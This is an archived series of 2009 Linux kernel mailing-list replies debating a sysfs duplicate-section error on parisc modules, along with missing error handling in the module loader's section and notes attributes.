References: <4A89CC4D.5040801@gmx.de> <1250549376.7858.96.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250565548 18027 80.91.229.12 (18 Aug 2009 03:19:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Aug 2009 03:19:08 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	Roland McGrath <roland@redhat.com>,
	"linux-kernel" <linux-kernel@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 18 05:19:00 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MdFDv-000203-6s
	for glpp-linux-parisc@lo.gmane.org; Tue, 18 Aug 2009 05:18:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751424AbZHRDSz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Aug 2009 23:18:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750910AbZHRDSz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 17 Aug 2009 23:18:55 -0400
Original-Received: from ozlabs.org ([203.10.76.45]:35742 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750835AbZHRDSy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Aug 2009 23:18:54 -0400
Original-Received: from vivaldi.localnet (unknown [150.101.102.135])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by ozlabs.org (Postfix) with ESMTPSA id 2DA05DDDA0;
	Tue, 18 Aug 2009 13:18:55 +1000 (EST)
User-Agent: KMail/1.11.2 (Linux/2.6.28-14-generic; KDE/4.2.2; i686; ; )
In-Reply-To: <1250549376.7858.96.camel@mulgrave.site>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2037 gmane.linux.kernel:878726
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2037>

On Tue, 18 Aug 2009 08:19:36 am James Bottomley wrote:
> The root cause is a duplicate section name (.text); is this legal?

I'd be happy to fail to load it.  There might be sysfs issues with it
too.

> However, there's a problem with commit
> 6d76013381ed28979cd122eb4b249a88b5e384fa in that if you fail to allocate
> a mod->sect_attrs (in this case it's null because of the duplication),
> it still gets used without checking in add_notes_attrs()
> 
> This should fix it

No, the real problem is that it ignores failure.  I'd much rather fail
the module load than various features mysteriously MIA.

Which brings us to "patches which don't go thru the maintainer" (or
perhaps, non-responsive maintainers who get bypassed).

Thanks,
Rusty.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Mon, 17 Aug 2009 22:55:43 -0500
Lines: 46
Approved: news@gmane.org
Message-ID: <1250567744.15255.5.camel@mulgrave.site>
References: <4A89CC4D.5040801@gmx.de>
	 <1250549376.7858.96.camel@mulgrave.site>
	 <200908181248.52572.rusty@rustcorp.com.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250567774 22171 80.91.229.12 (18 Aug 2009 03:56:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Aug 2009 03:56:14 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Roland McGrath <roland@redhat.com>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 18 05:56:06 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MdFnq-0002i1-A1
	for glpp-linux-parisc@lo.gmane.org; Tue, 18 Aug 2009 05:56:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757214AbZHRDzt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Aug 2009 23:55:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756165AbZHRDzt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 17 Aug 2009 23:55:49 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:43442 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751961AbZHRDzs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Aug 2009 23:55:48 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 086308EE0EE;
	Mon, 17 Aug 2009 20:55:50 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Xhe6D2qpdxGx; Mon, 17 Aug 2009 20:55:49 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id BD4FF8EE0C8;
	Mon, 17 Aug 2009 20:55:47 -0700 (PDT)
In-Reply-To: <200908181248.52572.rusty@rustcorp.com.au>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2038 gmane.linux.kernel:878733
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2038>

On Tue, 2009-08-18 at 12:48 +0930, Rusty Russell wrote:
> On Tue, 18 Aug 2009 08:19:36 am James Bottomley wrote:
> > The root cause is a duplicate section name (.text); is this legal?
> 
> I'd be happy to fail to load it.  There might be sysfs issues with it
> too.

Well, that's why I want clarification.  The bad code has been in since
2007 so it looks like a recent change, probably the one to more default
linker scripts is the cause.

> > However, there's a problem with commit
> > 6d76013381ed28979cd122eb4b249a88b5e384fa in that if you fail to allocate
> > a mod->sect_attrs (in this case it's null because of the duplication),
> > it still gets used without checking in add_notes_attrs()
> > 
> > This should fix it
> 
> No, the real problem is that it ignores failure.  I'd much rather fail
> the module load than various features mysteriously MIA.

There are two separate problems.  One is why the the module has
duplicate sections.  Under my reading of the ELF spec, they seem to be
allowable ... however we control the linker scripts and I believe we
shouldn't have generated them.

The other is the missing error handling in the module loader.

The question of whether this is a generic failure that needs load
refusal or an expected artifact of our new linker scripts needs
investigating.

> Which brings us to "patches which don't go thru the maintainer" (or
> perhaps, non-responsive maintainers who get bypassed).

Well, the original code was in 2007, so it's probably a bit late for a
postmortem.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Mon, 17 Aug 2009 22:06:37 -0700 (PDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <20090818050637.4C3E74730F@magilla.sf.frob.com>
References: <4A89CC4D.5040801@gmx.de>
	<1250549376.7858.96.camel@mulgrave.site>
	<200908181248.52572.rusty@rustcorp.com.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250572020 30408 80.91.229.12 (18 Aug 2009 05:07:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Aug 2009 05:07:00 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Helge Deller <deller@gmx.de>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"linux-kernel" <linux-kernel@vger.kernel.org>
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 18 07:06:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MdGuJ-0002lF-Ur
	for glpp-linux-parisc@lo.gmane.org; Tue, 18 Aug 2009 07:06:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751492AbZHRFGs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Aug 2009 01:06:48 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751474AbZHRFGs
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 18 Aug 2009 01:06:48 -0400
Original-Received: from mx1.redhat.com ([66.187.233.31]:36304 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751390AbZHRFGr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Aug 2009 01:06:47 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id n7I56gIp014930;
	Tue, 18 Aug 2009 01:06:42 -0400
Original-Received: from gateway.sf.frob.com (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id n7I56cXo017991;
	Tue, 18 Aug 2009 01:06:40 -0400
Original-Received: from magilla.sf.frob.com (magilla.sf.frob.com [198.49.250.228])
	by gateway.sf.frob.com (Postfix) with ESMTP
	id 7FEDF357B; Mon, 17 Aug 2009 22:06:37 -0700 (PDT)
Original-Received: by magilla.sf.frob.com (Postfix, from userid 5281)
	id 4C3E74730F; Mon, 17 Aug 2009 22:06:37 -0700 (PDT)
X-Fcc: ~/Mail/linus
In-Reply-To: Rusty Russell's message of  Tuesday, 18 August 2009 12:48:52 +0930 <200908181248.52572.rusty@rustcorp.com.au>
X-Shopping-List: (1) Odious honey ink
   (2) Diagnostic incoherent contributions
   (3) Androgynous sandwiches
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2039 gmane.linux.kernel:878745
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2039>

> I'd be happy to fail to load it.  There might be sysfs issues with it too.

That sounds reasonable to me.  And I'd be happy to at least look a little
and maybe give some advice to anybody who finds themself building such a
(free) module, doesn't know why or how it got that way, and wants to ask.

> No, the real problem is that it ignores failure.  I'd much rather fail
> the module load than various features mysteriously MIA.

In that regard, I just made add_notes_attrs() follow the model of
add_sect_attrs(), which (gracefully) ignores all its failures.  I don't
know what the thought behind that was.  My only guess was that since this
is all CONFIG_KALLSYMS-only features, that someone thought turning on
CONFIG_KALLSYMS should not add new ways to lose that weren't there before,
only new ways to lose the new features that weren't there before either.
Having these other alloc/sysfs failures cause the module load to fail would
certainly be fine with me.


Thanks,
Roland
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Tue, 18 Aug 2009 19:09:24 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <1250640565.15079.3.camel@mulgrave.site>
References: <4A89CC4D.5040801@gmx.de>
	 <1250549376.7858.96.camel@mulgrave.site>
	 <200908181248.52572.rusty@rustcorp.com.au>
	 <20090818050637.4C3E74730F@magilla.sf.frob.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250640588 10440 80.91.229.12 (19 Aug 2009 00:09:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Aug 2009 00:09:48 +0000 (UTC)
Cc: Rusty Russell <rusty@rustcorp.com.au>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Roland McGrath <roland@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 19 02:09:40 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MdYkF-0007E8-Dx
	for glpp-linux-parisc@lo.gmane.org; Wed, 19 Aug 2009 02:09:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751713AbZHSAJg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Aug 2009 20:09:36 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751488AbZHSAJf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 18 Aug 2009 20:09:35 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:53568 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751261AbZHSAJf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Aug 2009 20:09:35 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 8813F8EE197;
	Tue, 18 Aug 2009 17:09:36 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 5fOWqEeN1Tb0; Tue, 18 Aug 2009 17:09:36 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 304008EE17C;
	Tue, 18 Aug 2009 17:09:28 -0700 (PDT)
In-Reply-To: <20090818050637.4C3E74730F@magilla.sf.frob.com>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2040 gmane.linux.kernel:879194
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2040>

[resending, fluffed reply-all]

On Mon, 2009-08-17 at 22:06 -0700, Roland McGrath wrote:
> > I'd be happy to fail to load it.  There might be sysfs issues with it too.
> 
> That sounds reasonable to me.  And I'd be happy to at least look a little
> and maybe give some advice to anybody who finds themself building such a
> (free) module, doesn't know why or how it got that way, and wants to ask.

Actually, for parisc, its not reasonable.  It's expected that our
modules have multiple text sections (we have to use -ffunction-sections
to generate them in order that the PCREL17 jump stubs can be
interleaved).

The problem looks to be that some linker error gave the one of the named
function text sections a duplicate name.  Helge, can you post he objdump
info that shows which section had a duplicate name?

Even with the duplicate name, though, the module should be perfectly
loadable.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Tue, 18 Aug 2009 17:14:24 -0700 (PDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <20090819001424.4C1144730F@magilla.sf.frob.com>
References: <4A89CC4D.5040801@gmx.de>
	<1250549376.7858.96.camel@mulgrave.site>
	<200908181248.52572.rusty@rustcorp.com.au>
	<20090818050637.4C3E74730F@magilla.sf.frob.com>
	<1250640565.15079.3.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250640886 11051 80.91.229.12 (19 Aug 2009 00:14:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Aug 2009 00:14:46 +0000 (UTC)
Cc: Rusty Russell <rusty@rustcorp.com.au>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 19 02:14:38 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MdYp2-0007yr-V2
	for glpp-linux-parisc@lo.gmane.org; Wed, 19 Aug 2009 02:14:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750756AbZHSAOe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Aug 2009 20:14:34 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750802AbZHSAOd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 18 Aug 2009 20:14:33 -0400
Original-Received: from mx1.redhat.com ([66.187.233.31]:35434 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750756AbZHSAOd (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Aug 2009 20:14:33 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id n7J0ESZ5029087;
	Tue, 18 Aug 2009 20:14:28 -0400
Original-Received: from gateway.sf.frob.com (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id n7J0EP4o000689;
	Tue, 18 Aug 2009 20:14:26 -0400
Original-Received: from magilla.sf.frob.com (magilla.sf.frob.com [198.49.250.228])
	by gateway.sf.frob.com (Postfix) with ESMTP
	id 80E0B357B; Tue, 18 Aug 2009 17:14:24 -0700 (PDT)
Original-Received: by magilla.sf.frob.com (Postfix, from userid 5281)
	id 4C1144730F; Tue, 18 Aug 2009 17:14:24 -0700 (PDT)
X-Fcc: ~/Mail/linus
In-Reply-To: James Bottomley's message of  Tuesday, 18 August 2009 19:09:24 -0500 <1250640565.15079.3.camel@mulgrave.site>
Emacs: it's like swatting a fly with a supernova.
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2041 gmane.linux.kernel:879195
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2041>

> Actually, for parisc, its not reasonable.  It's expected that our modules
> have multiple text sections (we have to use -ffunction-sections to
> generate them in order that the PCREL17 jump stubs can be interleaved).

I don't think you need what you think you need.  Having lots of sections in
your .o's when you compile is fine.  These should be combined by the linker
script that creates the .ko, however.  Unless I am missing something, there
is no purpose to this section distinction at insmod time--it's only
important for the relative layout of the parts of the .ko's text, which
winds up contiguous whether laid out that way at ld -r (.ko creation) time
or at insmod time.

> Even with the duplicate name, though, the module should be perfectly
> loadable.

But its /sys/module/foo/sections/ virtual directory becomes useless,
as a single name space can no longer describe what sections it has.
So perhaps it is then proper for add_sect_attrs() to punt on it.
But that reduces the functionality you get from CONFIG_KALLSYMS.


Thanks,
Roland
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Mon, 17 Aug 2009 17:04:32 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <1250546672.7858.85.camel@mulgrave.site>
References: <4A89CC4D.5040801@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250641059 11514 80.91.229.12 (19 Aug 2009 00:17:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Aug 2009 00:17:39 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 18 00:05:31 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MdAKH-0003gP-UA
	for glpp-linux-parisc@lo.gmane.org; Tue, 18 Aug 2009 00:05:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752630AbZHQWEg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Aug 2009 18:04:36 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756443AbZHQWEg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 17 Aug 2009 18:04:36 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:55812 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752630AbZHQWEf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Aug 2009 18:04:35 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E96B38EE0EE;
	Mon, 17 Aug 2009 15:04:36 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id K4G9fgtBNBOb; Mon, 17 Aug 2009 15:04:36 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 986328EE0C8;
	Mon, 17 Aug 2009 15:04:35 -0700 (PDT)
In-Reply-To: <4A89CC4D.5040801@gmx.de>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2042

On Mon, 2009-08-17 at 23:31 +0200, Helge Deller wrote:
> anyone else seeing this with 2.6.31-rc6 ?
> 
> <...system boots up...>
> Waiting for /dev to be fully populated...
>   
> sysfs: cannot create duplicate filename '/module/ac97_bus/sections/.text'

Not on ion.  However, it could be linker discrepancies ... what does 

objdump -x

show for the module in question ... does it have two .text sections?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Tue, 18 Aug 2009 18:54:21 -0600
Lines: 44
Approved: news@gmane.org
Message-ID: <1250643261.18426.8.camel@mulgrave.site>
References: <4A89CC4D.5040801@gmx.de>
	 <1250549376.7858.96.camel@mulgrave.site>
	 <200908181248.52572.rusty@rustcorp.com.au>
	 <20090818050637.4C3E74730F@magilla.sf.frob.com>
	 <1250640565.15079.3.camel@mulgrave.site>
	 <20090819001424.4C1144730F@magilla.sf.frob.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250643280 16174 80.91.229.12 (19 Aug 2009 00:54:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Aug 2009 00:54:40 +0000 (UTC)
Cc: Rusty Russell <rusty@rustcorp.com.au>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Roland McGrath <roland@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 19 02:54:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MdZRf-0002Wo-7H
	for glpp-linux-parisc@lo.gmane.org; Wed, 19 Aug 2009 02:54:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750806AbZHSAy0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Aug 2009 20:54:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750800AbZHSAy0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 18 Aug 2009 20:54:26 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:38868 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750758AbZHSAyZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Aug 2009 20:54:25 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 82B0D8EE17C;
	Tue, 18 Aug 2009 17:54:27 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id YBvFwLtSqGkS; Tue, 18 Aug 2009 17:54:27 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 7F4258EE0C8;
	Tue, 18 Aug 2009 17:54:25 -0700 (PDT)
In-Reply-To: <20090819001424.4C1144730F@magilla.sf.frob.com>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2043 gmane.linux.kernel:879204
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2043>

On Tue, 2009-08-18 at 17:14 -0700, Roland McGrath wrote:
> > Actually, for parisc, its not reasonable.  It's expected that our modules
> > have multiple text sections (we have to use -ffunction-sections to
> > generate them in order that the PCREL17 jump stubs can be interleaved).
> 
> I don't think you need what you think you need.  Having lots of sections in
> your .o's when you compile is fine.  These should be combined by the linker
> script that creates the .ko, however.  Unless I am missing something, there
> is no purpose to this section distinction at insmod time--it's only
> important for the relative layout of the parts of the .ko's text, which
> winds up contiguous whether laid out that way at ld -r (.ko creation) time
> or at insmod time.

